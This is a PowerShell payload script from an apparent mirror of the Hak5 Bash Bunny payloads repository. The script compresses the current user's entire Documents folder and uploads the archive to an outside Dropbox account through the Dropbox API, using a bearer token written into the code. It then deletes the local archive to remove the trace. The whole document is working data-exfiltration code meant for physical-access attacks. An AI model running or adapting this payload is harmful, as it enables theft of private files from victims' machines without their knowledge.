mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
11 lines
1.7 KiB
PowerShell
11 lines
1.7 KiB
PowerShell
Compress-Archive -Path $env:USERPROFILE\Documents\* -CompressionLevel NoCompression -DestinationPath $env:TMP\$env:USERNAME-$(get-date -f yyyy-MM-dd).zip
|
||
$TargetFilePath="/$env:USERNAME-$(get-date -f yyyy-MM-dd).zip"
|
||
$SourceFilePath="$env:TMP\$env:USERNAME-$(get-date -f yyyy-MM-dd).zip"
|
||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||
$authorization = "Bearer " + "gFATusSHuV4AAAAAAAAu8270amwfKST_0D0Ik9SRTAI_e17tAE10Foj-z4SwZu2M"
|
||
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||
$headers.Add("Authorization", $authorization)
|
||
$headers.Add("Dropbox-API-Arg", $arg)
|
||
$headers.Add("Content-Type", 'application/octet-stream')
|
||
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||
rm $SourceFilePath |